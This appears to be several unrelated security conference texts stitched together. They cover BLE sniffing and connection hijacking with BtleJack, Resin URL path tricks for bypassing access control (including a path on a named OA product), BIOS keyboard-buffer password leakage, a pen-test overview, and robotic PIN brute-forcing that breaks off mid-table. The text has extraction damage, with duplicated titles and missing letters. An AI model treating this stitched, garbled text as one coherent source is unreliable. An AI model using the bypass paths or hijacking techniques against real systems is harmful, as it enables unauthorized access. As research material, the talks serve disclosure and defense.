• M. Madou, B. Anckaert, B. De Bus, K. De Bosschere, J. Cappaert, and B. Preneel, "On the Effectiveness of Source Code Transformations for Binary Obfuscation" • B. M. Prasad, T. Chiueh, "A Binary Rewriting Defense against Stack based Buffer Overflows" • C. I. Popov, S. Debray, G. Andrews, "Binary Obfuscation Using Signals" The End
pdf
YOU'D BETTER SECURE YOUR YOU'D BETTER SECURE YOUR BLE DEVICES OR WE'LL KICK BLE DEVICES OR WE'LL KICK YOUR BUTTS ! YOUR BUTTS ! @virtualabs | DEFCON 26 WHO AM I ? WHO AM I ?   Head of R&D @ Econocom Digital Security   Studying Bluetooth Low Energy for 3 years   Developer & maintainer of BtleJuice   Having fun with Nordic's nRF51822 😉 AGENDA AGENDA BLE sniffing 101 Improving the BLE arsenal Sniffing BLE connections in 2018 Introducing BtleJack, a flexible sniffing tool BtleJacking: a brand new attack How it works Vulnerable devices & demos Recommendations BLE SNIFFING 101 BLE SNIFFING 101 MUCH CHEAP TOOLS, MUCH CHEAP TOOLS, (NOT) WOW RESULTS (NOT) WOW RESULTS Sniffing existing/new connections with an Ubertooth One Sniffing new connections with an Adafruit's Bluefruit LE Sniffer Sniffing BLE packets with gnuradio Sniffs existing and new connections Does not support channel map updates Costs $120 UBERTOOTH ONE UBERTOOTH ONE Up-to-date soware (Nov. 2017) Proprietary firmware from Nordic Semiconductor Sniffs only new connections Costs $30 - $40 BLUEFRUIT LE SNIFFER BLUEFRUIT LE SNIFFER Sniffs only BLE advertisements Unable to follow any existing/new connection Latency Requires 2.4GHz compatible SDR device SOFTWARE DEFINED RADIO SOFTWARE DEFINED RADIO BLE SNIFFING 101 BLE SNIFFING 101 BLE is designed to make sniffing difficult: 3 separate advertising channels Uses Frequency Hopping Spread Spectrum (FHSS) Master or slave can renegotiate some parameters at any time Sniffing BLE connections is either hard or expensive MAN IN THE MIDDLE MAN IN THE MIDDLE HOW BLE MITM WORKS HOW BLE MITM WORKS Discover the target device (advertisement data, services & characteristics) Connect to this target device, it is not advertising anymore (connected state) Advertise the same device, await connections and forward data BTLEJUICE BTLEJUICE https://github.com/DigitalSecurity/btlejuice GATTACKER GATTACKER https://github.com/securing/gattacker Pros: Get rid of the 3 advertising channels issue You see every BLE operation performed You may tamper on-the-fly the data sent or received Cons: Complex to setup: 1 VM & 1 Host computer Only capture HCI events, not BLE Link Layer Does not support all types of pairing Only compatible with 4.0 adapters WE ARE DOING IT WRONG ! WE ARE DOING IT WRONG ! Ubertooth-btle is outdated and does not work with recent BLE stacks Nordic Semiconductor' sniffer is closed source and does not allow active connection sniffing and may be discontinued The MitM approach seems great but too difficult to use and does not intercept link-layer packets LET'S BUILD OUR OWN ! LET'S BUILD OUR OWN ! THE IDEAL TOOL THE IDEAL TOOL Able to sniff existing and new connections Uses cheap hardware Open-source IMPROVING MIKE RYAN' SNIFFING IMPROVING MIKE RYAN' SNIFFING TECHNIQUE TECHNIQUE (OR HOW TO SNIFF ACTIVE (OR HOW TO SNIFF ACTIVE BLE CONNECTIONS IN 2018) BLE CONNECTIONS IN 2018) MIKE'S TECHNIQUE MIKE'S TECHNIQUE 1. Identify Access Address (32 bits) 2. Recover the CRCInit value used to compute packets CRC 3. Recover hop interval (time spent on each channel) 4. Recover hop increment (channel hopping increment) MIKE'S ASSUMPTION (2013) MIKE'S ASSUMPTION (2013) All 37 data channels are used DATA CHANNELS IN 2018 DATA CHANNELS IN 2018 Not all channels are used to improve reliability Some channels are remapped to keep a 37 channels hopping sequence 0, 4, 8, 12, 16, 20, 24, 0, 4, 8, 3, 7, 11, 15, 19, 23, 27, 3, 7, 2, 6, 10, 14, 18, 22, 26, 2, 6, 1, 5, 9, 13, 17, 21, 25, 1, 5 Mike's technique does not work anymore ! HOW TO DEDUCE CHANNEL MAP AND HOW TO DEDUCE CHANNEL MAP AND HOP INTERVAL HOP INTERVAL Channel map Listen for packets on every possible channels May take until 4 x 37 seconds to determine ! Hop interval Find a unique channel Measure time between 2 packets and divide by 37 DEDUCE HOP INCREMENT DEDUCE HOP INCREMENT Pick 2 unique channels Generate a lookup table Measure time between two packets on these channels Determine increment value More details in PoC||GTFO 0x17 "INSTANT" MATTERS "INSTANT" MATTERS Defines when a parameter update is effective Used for: Channel map updates Hop interval updates WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL WE DON'T CARE AT ALL MULTIPLE SNIFFERS FOR THE ULTIMATE MULTIPLE SNIFFERS FOR THE ULTIMATE SNIFFING TOOL SNIFFING TOOL A BRAND NEW TOOL ... A BRAND NEW TOOL ... ... BASED ON A MICRO:BIT ... BASED ON A MICRO:BIT BTLEJUICE BTLEJUICE BTLE BTLEJUICE JUICEJACK JACK NO LIVE DEMO :( NO LIVE DEMO :( SNIFFING A NEW CONNECTION SNIFFING A NEW CONNECTION SNIFFING AN EXISTING CONNECTION SNIFFING AN EXISTING CONNECTION BTLEJACKING BTLEJACKING A NEW ATTACK ON BLE A NEW ATTACK ON BLE SELECTIVE PRECISE JAMMING SELECTIVE PRECISE JAMMING SUPERVISION TIMEOUT SUPERVISION TIMEOUT Defined in CONNECT_REQ PDU Defines the time aer which a connection is considered lost if no valid packets Enforced by both Central and Peripheral devices JAMMING FTW JAMMING FTW SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING SUPERVISION TIMEOUT VS. JAMMING BTLEJACKING BTLEJACKING Abuse BLE supervision timeout to take over a connection Works with BLE v4.x and v5, if using legacy CSA and 1 Mbps Requires proximity (2 to 10 meters from target) EXAMPLE OF A VULNERABLE DEVICE EXAMPLE OF A VULNERABLE DEVICE https://fr.lovense.com/sex-toy-blog/lovense-hack COUNTER-MEASURES COUNTER-MEASURES Use BLE Secure Connections (to avoid injection) Authenticate data at application layer (detection) Use BLE version 5 with CSA #2 BTLEJACK BTLEJACK https://github.com/virtualabs/btlejack FEATURES FEATURES Already established BLE connection sniffing New BLE connection sniffing Selective BLE jamming BLE connection take-over (btlejacking) PCAP export to view dumps in Wireshark Multiple sniffers support CONCLUSION CONCLUSION BLE hijacking is possible and should be considered It might get worse with further versions of BLE Secure your BLE connections ! CONTACT CONTACT QUESTIONS ? QUESTIONS ? @virtualabs [email protected]
pdf
1 OLONLTLW-奇葩的Resin ⼀、前⾔ ⼆、从其他两个tips说起 N./test%OL/test.jsp O./test/#/../test.jsp 三、其他⼀些tips N.对/test$$/test.jsp进⾏fuzz O.对/test/test.jsp$$进⾏fuzz P.对/test/§§/test.jsp进⾏fuzz 记录今天在做JavaWeb的权限绕过总结时发现Resin的⼀些tips。 ⼀个是某微oa:/services%20/WorkflowServiceXml ⼀个是rr在知识星球发的⼀个tips关于#来绕nginx的403 测试发现tomcat这两个tips都不能⽤,⽽某微使⽤的Resin,于是搭了个Resin开始测试。 直接在resin官⽹下了个最新版测试的 ⼀、前⾔ ⼆、从其他两个tips说起 1./test%20/test.jsp 2./test/#/../test.jsp 2 对此处进⾏fuzz 三、其他⼀些tips 1.对/test$$/test.jsp进⾏fuzz 3 发现%2e,%2f,%3b,%5c都能起到%20的效果。 分号后⾯可以随意加字符(tomcat也⾏) 2.对/test/test.jsp$$进⾏fuzz 4 发现和上⾯的结果⼀样。 且发现%2f,%5c,%3b后⾯可以跟随意字符。 5 3.对/test/§§/test.jsp进⾏fuzz 6
pdf
Who am I ? Scope of this presentation  We present a new class of vulnerabilities,  Affecting multiple pre-boot authentication software under x86 and x64 architectures,  Exploitable without physical access. Limitations : we will focus on password based authentication solely. Contents  (Technically) defining pre-boot authentication  Password leakage under Windows  Password leakage under *nix  Rebooting in spite of a pre-boot authentication  Examples of vulnerable software  Mitigating those vulnerabilities I - (Technically) defining pre-boot authentication  Boot sequence overview  Taxonomy of pre-boot authentication software  BIOS API for user inputs  BIOS internals for keyboard management  BIOS keyboard buffer Remanence...  Verifying this bug exists “in real life”  Password chaining I-1) Boot sequence overview I-2) Taxonomy of pre-boot authentication softwares  Bios Passwords  Bootloader Passwords (Vista's Bitlocker, Grub or Lilo, and most others pre-boot authentication software : Truecrypt, Diskcryptor...)  Early kernel stage passwords – typically before decompression (eg: suspend2 hibernation patch for GNU/Linux) I-3) BIOS API for user inputs (1/2)  Interruption 0x16 invoked via functions :  ah=0x00 , “Get keystroke” : returns the keystroke scancode in AH and its ASCII code in AL.  ah=0x01 , “Check for keystroke” : idem, but the Zero Flag is set if no keystroke is available in the Bios keyboard buffer. I-3) BIOS API for user inputs (2/2)  eg : lilo password reading routine : I-4) BIOS internals for keyboard management I-5) BIOS keyboard buffer Remanance... (1/3)  Filling the BIOS keyboard buffer (with the keyboard) : I-5) BIOS keyboard buffer Remanence... (2/3)  Reading the BIOS keyboard buffer (using int 0x16, ah=0x00 or 0x01) : I-5) BIOS keyboard buffer Remanence... (3/3)  Who is supposed to clear the keyboard buffer ? I-6) Verifying this bug exists “in real life” (1/2) :  We want to check the authentication routines in the BIOS themselves (aka: BIOS Passwords)  We will write a small USB-bootable OS in 16b asm to read the content of the BIOS keyboard buffer in Real Mode (sploitOS.S) I-6) Verifying this bug exists “in real life” (2/2) :  Results :  Most BIOS Passwords are vulnerable (more on this later).  ... if the BIOS Programmers themselves do not clear the BIOS keyboard buffer... just imagine third party programmers... I-7) Password chaining :  Let's now imagine we have two authentication devices in a raw (asking for pass1 and pass2 respectively)....  What happens in the BIOS keyboard buffer ?  The passwords are concatenated ! So we can retrieve both ;)  [p][a][s][s][1][Enter][p][a][s][s][2][Enter] SCOPE : In the following two sections, we assume the OS has fully booted and the attacker is given a local shell, but no physical access. II - Password leakage under Windows  The Challenge  Possible attack scenarii  Reading the password from a guest account II-1) The Challenge :  How to read the password at 0x40:0x1e ? (once in protected mode...) II-2) Possible attack scenarii :  Get back to real-mode  Switch to SMM  Get it from kernel land  All those scenari require very high privileges :( II-3) Reading the password from a guest account :  The MS-DOS emulation mode :  built on top of x86 Vmode to emulate 16b execution  Windows “feature” : maps physical memory ranges 0-FFF and C0000-FFFFF into userland !!! (http://readlist.com/lists/securityfocus.com/bugtr aq/1/9422.html) III – Password leakage under *nix  Challenge  Getting the password from user land  Getting the password from kernel land  Conclusion III-1) Challenge :  Unfortunatly, no goodie like the RAM leakage under Windows... We will try to retrieve the password from a privileged (typically root) account... III-2) Getting the password from user land (1/4):  We know the address of the BIOS keyboard buffer in Physical Memory.  under most flavors of Unix, /dev/mem contains a mapping of the Physical memory... III-2) Getting the password from user land (2/4):  /dev/kmem contains a mapping of kernel memory :  /dev/kcore contains the same information in the form of a core file : III-2) Getting the password from user land (3/4):  We have coded a simple tool that will work under virtually any x86 based *nix (tested under OpenSolaris, FreeBSD, OpenBSD and GNU/Linux) to read the possible passwords from /dev/mem, but also /dev/kmem, /dev/kcore etc if available... III-2) Getting the password from user land (4/4): III-3) Getting the password from kernel land (1/3):  The BIOS Data Area is copied to a “safe” zone during kernel early booting (the infamous “Zero Page”, cf: Setup.S in the Linux kernel).  If you assume a 3Gb/1Gb kernel split, the address of the BIOS Keyboard buffer is : 0xC000041e III-3) Getting the password from kernel land (2/3):  Verifying that the password is located at 0xC000041e (using remote kernel debugging...) III-3) Getting the password from kernel land (3/3):  We have coded a simple LKM to automate the work and display the possible passwords in a new entry under the /proc pseudo-filesystem : III-4) Conclusion :  This bug has been there since the very beginning of BIOS passwords (25+ years).  Retrieving the password is as simple as reading a file at a given location... Open your eyes ;) IV – Rebooting in spite of a pre-boot authentication password  In some cases, it is handy for an attacker to reboot the computer (to boot a weaker kernel for instance). But if a pre-boot authentication device is on the way, this is a non trivial taks...  In the next section, we assume the attacker can write to the MBR (ie: typically root access) and is willing to reboot the computer. IV – Rebooting in spite of a pre-boot authentication password  Agenda :  The password is not used to decrypt anything  The password is used to decipher part of the disk or the whole disk. IV-1) Rebooting in spite of a preboot authentication password without disk encryption (1/2):  Since the password checking routine doesn't perform any useful task (from an attacker point of view), he can simply patch it.  See phrack article “Hacking deeper in the system” by Scythale for a deeper analysis of Grub hacking). IV-1) Rebooting in spite of a preboot authentication password without disk encryption (2/2): IV-2) Rebooting with a password used for disk decryption :  The BIOS keyboard buffer “feature” reloaded  Attack scenario  Methodology to install the rogue bootloader  “Invisible Man” roadmap IV-2-a) The BIOS keyboard buffer “feature” reloaded :  The Problem :  What happens if the BIOS keyboard buffer is not initialized ?  If the attacker can somehow enter the password before the genuine bootloader prompts for a password, the authentication routine will decrypt the disk nicely ;) IV-2-b) Attack scenario : I/O Port 0x60  I/O Port 0x64 IV-2-c) Methodology to install the rogue bootloader : IV-2-d) “Invisible Man” roadmap : V – Examples of vulnerable softwares... V-1) Vulnerable Softwares (1/4):  BIOS passwords :  Award BIOS Modular 4.50pg  Insyde BIOS V190  Intel Corp PE94510M.86A.0050.2007.0710.1559  Hewlett-Packard 68DTT Ver. F.0D (11/22/2005)  Lenovo 7CETB5WW v2.05 (10/13/2006) V-1) Vulnerable Softwares (2/4):  Full disk encryption with pre-boot authentication capabilities :  Bitlocker with TPM chip under Microsoft Vista Ultimate Edition SP0.  Truecrypt 5.0 for Windows (open source)  DiskCryptor 0.2.6 for Windows (open source)  Secu Star DriveCrypt Plus Pack v3.9 V-1) Vulnerable Softwares (3/4):  Boot loader passwords :  grub (GNU GRUB 0.97) (latest CVS)  lilo version 22.6.1 (current under Mandriva 2006) V-1) Vulnerable Softwares (4/4):  Other Software :  Software suspend 2 (now tuxonice), Linux Kernel Patch (we tested version suspend2-2.2.1 with 2.6.16 kernel) V-2) Non vulnerable Softwares (1/2):  BIOS Passwords :  Hewlett-Packard F.20 (04/15/2005)  Hewlett-Packard F.05 (08/14/2006)  Pheonix BIOS Version F.0B, 7/3/2006  Phoenix Technologies LTD R0220Q0 (25-05-2007) V-2) Non vulnerable Softwares (2/2):  Full disk encryption with pre-boot authentication capabilities :  SafeGuard 4.40 for Windows  PGP Desktop Professional 9.8 for Windows (Trial Version) VI) Mitigating those vulnerabilities :  Write correct software : sanitize the BIOS keyboard buffer (and more generally any password buffer) before and after use...  We keep a list of patches on our website : http://www.ivizindia.com/BIOS-patches/ (contributions are most welcome). Greetings :  My uber elite reviewers (you know who you are) : many thanks guys :)  The iViZ Technical Team for your support and the time spent on testing software.  http://www.everybody-dies.com/ web site for letting me use the screenshots of their game “Defcon : everybody dies !” in my slides ;)  irc.pulltheplug.org and irc.blacksecurity.org...  All of you for coming to this presentation.
pdf
ANATOMY OF A PEN TEST Understanding the [ Mindset | Toolset ] of Penetration Testers ANATOMY OF A PEN TEST Poppin’ Boxes Like a Pro • Handle == [ PushPin | Revolver ] ! • DEF CON Attendee - DC15 - Present1! • U.S. Department of Energy Contractor - A few years3! • Co authored “The Hacker's Guide to OS X” - Kinda neat! • U.S. Department of State Contractor - For a bit ! • Sony PlayStation - Now Alijohn Ghassemlouei Profile Reality Check | Disclaimers Hacking in movies != Reality Running scripts != [ Hacker | Pentester | Programmer ] Understanding core technologies are crucial Overnight penetration tester? Hell no. Developing and refining your skill set takes time Documentation & boring stuff? Unfortunately, yes Set expectations and common terminology early Audience | Query Audience | Query What is your definition of a penetration test? Considerations | Penetration Testing A penetration test is a method of evaluating the security controls of an asset, system, or network through the emulation of malicious or unauthorized actors with limited knowledge. ! This is achieved by demonstrating the execution of the objective at a technical level which should improve the effectiveness and efficiency of the existing security controls in place.1 Considerations | Penetration Testing security is not a state, nor a product, it is an ongoing process Considerations | Penetration Testing a snapshot of an asset in a specific state at a specific time Assessment Types | General Information • Vulnerability Assessment - [ 2 to 4 weeks ]! • Complete stakeholder assistance, credentialed scans, interviews, in-depth review, narrow scope
 • Penetration Test - [ 2 to 6 weeks ]! • Partial stakeholder assistance via trusted agent, partial site notification, larger scope
 • Red Team Assessment - [ 4 - 24 months ]! • Limited stakeholder assistance, no site information, largest scope Audience | Vote Audience | Vote IN HOUSE or EXTERNAL INDEPENDENT OVERSIGHT / THIRD PARTY / EXTERNAL ENT-TITTY DIRECTOR CIO CISO COO SYSTEMS NETWORK HELP DESK CYBER SECURITY MONITORING INCIDENT RESPONSE HUMAN RESOURCES ACCOUNTING MAINTENANCE PENETRATION TESTING TEAM Placement | Penetration Testing DIRECTOR CIO CISO COO SYSTEMS NETWORK HELP DESK CYBER SECURITY MONITORING INCIDENT RESPONSE HUMAN RESOURCES ACCOUNTING MAINTENANCE PENETRATION TESTING IN-HOUSE Placement | Penetration Testing Audience | Query intelligent assholes ! or ! somewhat slightly less skilled but personable Technical Team Members | General Information Knowledge Mindset Personality Presentation Past Experience Identification of true vulnerabilities Detail Oriented Communication Tool Usage Prioritization of identified vulnerabilities Driven Attire Methodologies Creativity Lazy Writing Ability General Technical Knowledge Observant Cheeky Credentials Meticulous Always willing to learn Knowing when to quit Objective To enhance and improve the state of security throughout the organization through high profile and impactful assessments. ! Yes, seriously. Audience | Query Audience | Query Why is it important to scope your assessments properly? Scoping | Super Important General Information Overall significance of system / site / asset ! Impact analysis [ political, economic ] ! Ability to determine target value [ crown jewels ] Scoping | Super Important General Information Location & size! Access! Difficulty ! Available Resources! Expectations! Timeline! Broad strategy* Scoping | Super Important General Information Location & size! Access! Difficulty ! Available Resources! Expectations! Timeline! Broad strategy* Timeline | Hybrid Assessment Reconnaissance Attack Reporting S1 Scanning, site profile generation, and service detection with manual verification of potential vulnerabilities via exploitation. Manual exploitation, establish foothold, migrate laterally, and complete objective. Vulnerability scanning begins, web application scans begin. Collect team notes and begin writing report. S2 Review network layout, firewall configs, and gpo’s. see above see above Collect team notes and continue writing report. S3 Interview administrators and responsible parties. Continue exercise if objective has not been completed, otherwise begin testing site response capability. Begin writing up findings and opportunities for improvement. S4 Allow team lead to review notes, generate report, and send to management. Rhetorical Question [ STFU ] | Query Rhetorical Question [ STFU ] | Query How do we ensure that we are consistent with our assessments?! Should we just have a checklist? ! Why not just script out the entire engagement? Process | Assessment Tips • Resource Allocation*! • Two to four warm bodies for penetration testing and vulnerability assessment! • Five to six somewhat warm bodies for red team assessments
 • Communication ! • Store data centrally! • Communicate often [ speaking | irc | private messaging ]! • Shared space for improved cohesion1! • Take notes as assessment occurs with daily synopsis1I ! • Team member rotation to improve shared skillset / methodologies! • Rules of Engagement • General Unix/Linux/Windows Binaries1! • nc, sed, awk, wc, vi,! • tcpdump, grep, cut! • net, dig, cat! • Nmap! • Nessus Professional Feed2! • Metasploit Framework! • Netsparker! • Solar Winds Engineers Toolkit! • VMWare Fusion! • IDA Pro ! • AppDetective Software Tools | General Information • Host Operating System! • OS X - General Unix Tools & Some Attack Software! • VMware Fusion1! • Ubuntu VM - General Linux Use Image! • Windows VM - General Windows Use & Attack Image! • Kali VM - Linux Attack Image Virtual Machines | General Information • Macbook Pro Notebook! • External HDD! • Alfa Wireless Card! • Mac Minis! • Gigabit Switch! • Legitimate Hub/Tap! • Beefy Notebook! • Spare Hard Drive Hardware Tools | General Information Hardware Tools | General Information Understanding how to use a tool does not make you a skilled penetration tester Hardware Tools | General Information a hacker mindset is required Poppin’ the Truth | Boxes be Dropping 10,000 ft, oral, technical walkthrough of an attack Poppin’ the Truth | Boxes be Dropping clear, condensed, overarching strategy/methodology Potential Attack Avenues Social Engineering1! Web Drive By! Misconfiguration2 ! Remote Exploitation! Lateral Migration! Zero Day! Custom Malware Outline | Walkthrough Locate & exfiltrate sensitive organization information 0 - Reconnaissance ! 1 - Phishing! 2 - Exploitation! 3 - Privilege Escalation! 4 - Lateral Migration! 5 - Data Exfiltration! 6 -Tasteful Communication of Findings Stages Goals Audience | Query Audience | Query How do you exfiltrate all your hard work? Exfiltration* | Possibilities SCP / FTP / HTTPS! DNS ! CUSTOM Exfiltration* | Possibilities Technical demonstration of findings are crucial Walkthrough | Disappointing Example Allowed Use of Ingress Email with HTML Formatting! Lack of User Training ! Shared Local Admin Credentials! Misconfigured Windows System1! Lack of Network Restriction & SegmentationII! Lack of Antivirus or HIDS Reporting • Re-identify system/site value! • Access / Data / Services Provided! • Outline the assessment and findings as the week progressed! • Identify issues and elaborate as to why it is important and relevant! • Recommend realistic potential mitigations and why it is important! • Do not suggest tools Noteworthy Individuals | Thank You This community is incredible and without the wisdom, guidance, and support of these individuals I would not be where I am today. Noteworthy Individuals | Thank You Russr! Wiseacre! Highwiz! Xaphan ! 0x58! Mexican Machine! Roamer! Family & Mom Contact Information EMAIL! [email protected]
 WEBSITE! logicode-networking.com
 BLOG! blog.logicode-networking.com
 LINKEDIN! linkedin.com/in/alijohnghassemlouei
pdf
HTTPS://WWW.ISECPARTNERS.COM 1/6 ELECTROMECHANICAL PIN CRACKING IMPLEMENTATION AND PRACTICALITY Justin Engler – jengler[at]isecpartners[dot]com Paul Vines – pvines[at]isecpartners[dot]com iSEC Partners, Inc. 123 Mission Street, Suite 1020 San Francisco, Ca 94105 https://www.isecpartners.com July 8, 2013 Abstract PINs are often used for security on devices with touch-screen or physical keypads. Though other attacks are often available for these targets, in some cases only a brute-force attack is possible. This paper discusses several approaches for physical attacks against these systems and analyzes the practicality of these approaches against common brute-force countermeasures. 1 THE PROBLEM: LOCAL PASSWORDS WITHOUT AN AVAILABLE SOFTWARE OR ELECTRONIC ATTACK. Many devices are secured with passwords. Assuming a password cannot be observed in use or obtained from someone who knows it, possibly the best way to subvert the security of these devices is to attack them at the software level, by either:  bypassing the password completely (via a logic flaw, a vulnerability, etc.),  resetting the password to a known value,  or performing a password-guessing attack without any other security or user interface restrictions (Offline brute-force) Though a more educated password-guessing scheme might also be used (dictionaries, patterns, etc.), for the purposes of this paper we will call all password-guessing attacks “brute-force attacks”. In some cases, there will be no software-based attack possible. An example might be a mobile device's lock screen. Perhaps no jailbreak or root technique is available, or perhaps other considerations simply prohibit its use (such as forensic evidence requirements or scoping decisions on a security assessment). Other devices, like hardware PIN pads, are also common in this scenario. When software-based attacks are not feasible, the next best attack is an electronic attack:  Extract a password or key from the memory of a device via a chip reader or cold-boot attack.  Attach a device that emulates a keyboard or other input device and attempt brute-force. HTTPS://WWW.ISECPARTNERS.COM 2/6  Electronically input password guesses into the system directly for systems where a password is transmitted down a wire, wirelessly, etc. In some situations, none of the above techniques will be available. Usually this occurs when there is no available electronic interface to the device. This could be a physical limitation such as:  a hardened device housing that cannot be defeated in the time available,  a fully-mechanical device, or  a device with electronic interfaces that are inactive or otherwise useless for password input Administrative reasons (evidence requirements, scoping issues, etc.) are also often to blame. If all other avenues have been exhausted, the only solution left is to start pushing buttons. There are a variety of factors that might prevent an online brute-force attack against a device's interface:  The device is reset after a number of incorrect guesses  The device has a long, complex password that would be time-prohibitive to guess exhaustively  The device locks out the input after incorrect guesses  There is insufficient time to brute-force the device  The labor cost to brute-force the device is prohibitive Devices with the first two defenses will be relatively safe from the techniques described later in this paper. The last three can all be subverted to some extent, and the remainder of this paper will discuss techniques to perform an online brute-force attack in these situations. Because we are assuming that the passwords will be relatively easy to guess, the rest of this paper will refer to PINs instead of passwords. The techniques would still work with more complex alphanumeric passwords, but issues of scale arise. 2 SOLUTION: LOCAL ELECTROMECHANICAL BRUTE FORCE We need a way to actuate the buttons or touch screen on a device to facilitate rapid brute-force attacks without having a user manually press the buttons. There are several electromechanical means to achieve this, which we will call Electromechanical Brute Force Systems (EBFS), but in all cases control software will be required. 2.1 CONTROL SOFTWARE: Control software for electromechanical brute-forcers must be capable of the following:  instructing the device to push a single button or a series of buttons.  recognizing when a PIN was successfully entered.  Configuring or calibrating any attached electromechanical brute-forcers attached (either automatically or with user assistance).  generating random or sequential PINs to guess.  loading a predefined list of PINs to guess. HTTPS://WWW.ISECPARTNERS.COM 3/6 A program, BruteController, was written in Python to achieve these goals. BruteController can detect an attached EBFS and has a simple interface that guides the user through any required calibration. BruteController also interfaces to an attached camera to assist with calibration and to detect if a device was unlocked successfully. BruteController communicates with an EBFS via a serial port (usually emulated via USB). The integration of the camera into BruteController is accomplished through the use of the OpenCV library. This allows the system to compensate for different device orientations and different camera angles by use of some edge detection and perspective manipulation algorithms. If the resolution of the camera is high enough ( >= 4MP) and the device interface has decent contrast (standard lock screen layout with bordered buttons) the vision algorithms can also predefine regions as buttons to reduce the user’s setup time. Additionally, the vision software continually observes the device interface to determine if a large change (indicative of an unlock) has occurred. 2.2 R2B2 - ROBOTIC RECONFIGURABLE BUTTON BASHER R2B2 is an EBFS designed to rapidly press sequences of buttons on a touch screen device. R2B2 is derived from the delta family of robots. Delta robots were first used in the 1980s for industrial applications requiring precision and high speed with limited degrees of freedom. A typical delta robot design consists of an effector head attached to 3 sets of arms with rod end bearings or a similar mechanism. The arms are driven by 3 servo or stepper motors (sometimes 3 linear actuators are used instead). Each of the motors can be adjusted to an independent angle, and the combination of the 3 angles can maneuver the effector head in the X, Y and Z directions. The calculation required to convert a desired effector position into inputs for the various motors is called inverse kinematics (IK) and the IK required for a delta robot is some fairly basic trigonometry related to the paralellograms formed by the arms of the robot and the angles of the motors. A 3-drive delta robot cannot rotate its effector head, but some delta robots with more motors and arms can be used to provide rotation as well. The typical use of a delta robot is to hang the robot upside-down over the working area from a frame. Whatever tool the robot will use is attached to the effector head, and the head is moved rapidly from position to position. It turns out that this is ideal for rapidly pressing buttons. R2B2 is more specifically based on the designs and firmware of Dan Royer at marginallyclever.com1. Dan's delta robot appears to have been designed for manufacturing, as it supports G-code, a protocol often used for 3D printers, CNC routers, and similar devices. The robot uses hobby servos commonly used in radio controlled cars and is driven by an Arduino Uno or compatible microcontroller. In converting Dan's delta design into R2B2, a few changes were made.  Code was added to the Arduino code to handle several new functions: ◦ Move from A to B as fast as possible (existing code had to worry about movement rates and pathing, which is important for computer-based manufacturing, but only serves to slow down our application) ◦ Remember a particular point and associate it with a mnemonic (this allows us to store button locations) ◦ Move the effector down quickly, then back up to its previous location ◦ Move the effector to a particular saved point 1 https://github.com/i-make-robots/Delta-Robot/wiki HTTPS://WWW.ISECPARTNERS.COM 4/6 ◦ Push a button (This combines the “moved to a saved point” function with the “move down and up” function) ◦ Some bug fixes related to the requested vs. actual position of the effector  Effector head ◦ A stylus head was added to the effector head to allow the robot to interact with capacitive screens (the type of screen most common in modern touch screen devices). A grounding wire was added to connect the stylus to the Arduino's ground contact to provide the capacitance needed to actuate the touch screen. This stylus can also press physical buttons.  Frame ◦ A frame was constructed to hold R2B2 above the working area where the device to be brute- forced will be placed. ◦ Other frames are under consideration to allow R2B2 to be mounted horizontally, for use against horizontal devices (doors or automobiles with keypads, etc.). R2B2 can potentially reach speeds of 5 touches per second or more on a touch screen device (at the time of this writing, we are limited to 2 touches per second due to a firmware bug). This is sufficient to enter a single 4-digit PIN every second, which is roughly equivalent to a human quickly entering a PIN. R2B2 is also easily capable of working with physical devices such as keypads or even mechanical push-button locks, as long as a method can be devised for the robot to determine if the PIN was successful via mechanical manipulation or camera observation. This requirement might be waived if the device simply needs to be unlocked and the user doesn't need to know the actual PIN used. There is nothing magical about this particular software and hardware configuration. The R2B2 firmware will operate with other other delta robots if they are driven by hobby servos after minor changes to constants that define the lengths of the various mechanical parts of the robot. Another robot that is likely to work well with this setup is Jason Huggins' Tapsterbot2 design. 2.3 C3BO - CAPACITIVE CARTESIAN COORDINATE BRUTE-FORCE OVERLAY Even on devices with no available electronic interfaces to allow for attacks, the input device itself may be used. A capacitive touch screen can be activated by pulling a contact to ground or a capacitor at a given location. By use of relays and wires or electrodes attached to the screen at each button, a microcontroller can electromechanically actuate each button without a moving robot. C3BO is principally a DEF CON 20 badge with some relays attached. C3BO's speed is only limited by the speed of the relays chosen or the input speed of the touch screen device itself, and can theoretically operate much faster than a human or a physical robot. This advantage is somewhat diminished by the need to check for a screen change indicative of a successful unlock. 2 http://bitbeam.org/2013/05/02/a-robot-on-every-desk/ HTTPS://WWW.ISECPARTNERS.COM 5/6 3 CONCLUSIONS ON THE EFFECTIVENESS OF LOCAL ELECTROMECHANICAL ATTACKS A device protected by a mechanism that erases or permanently locks the device is not a good candidate for R2B2 or C3BO unless the number of guesses required for a lock is very high. Usually a manual tester will be able to manually test a set of likely guesses with a small chance of success. Most major mobile device platforms provide this as an option, but do not enable it by default. At least one hotel safe manufacturer appears to use a permanent (or at least very long) lockout. A device protected by a timed lockout might be resistant to R2B2 and C3BO, but this depends on the details of the lockout. Apple's iOS devices by default provide a scaled lockout, where the user must wait for a longer period with each wrong guess. This is highly effective against brute-forcing techniques, as the wait time required quickly becomes intractable. Google's Android devices by default require a 30-second “cooldown” period after every 5 incorrect guesses. Although this might prevent casual manual brute-forcing, it does not provide a sufficient barrier to R2B2 or C3BO in many cases. A 4-digit PIN (the default if pattern locking is not used) can be fully exhausted in approximately 20 hours assuming 1 PIN entry per second and a 30 second cooldown every 5 guesses. Most real world PINs will take significantly less time. Overall, these attacks are effective, but only in very limited circumstances. PIN character set and length 1 PIN per second 1 PIN per second, plus 30 seconds every 5 guesses 3 Digits 16 Minutes 117 Minutes 4 Digits 167 Minutes 19.4 Hours 5 Digits 27 Hours 8.1 Days 6 Digits 11.8 Days 81 Days 4 Lowercase + Digits 19.4 Days 136 Days 7 Lowercase + Digits 2484 Years 7.83e10 Centuries 4 Printable ASCII (94) 2.48 Years 7.81e7 Centuries 7 Printable ASCII (94) 20563 Centuries 6.48e13 Centuries Table 1: Time to 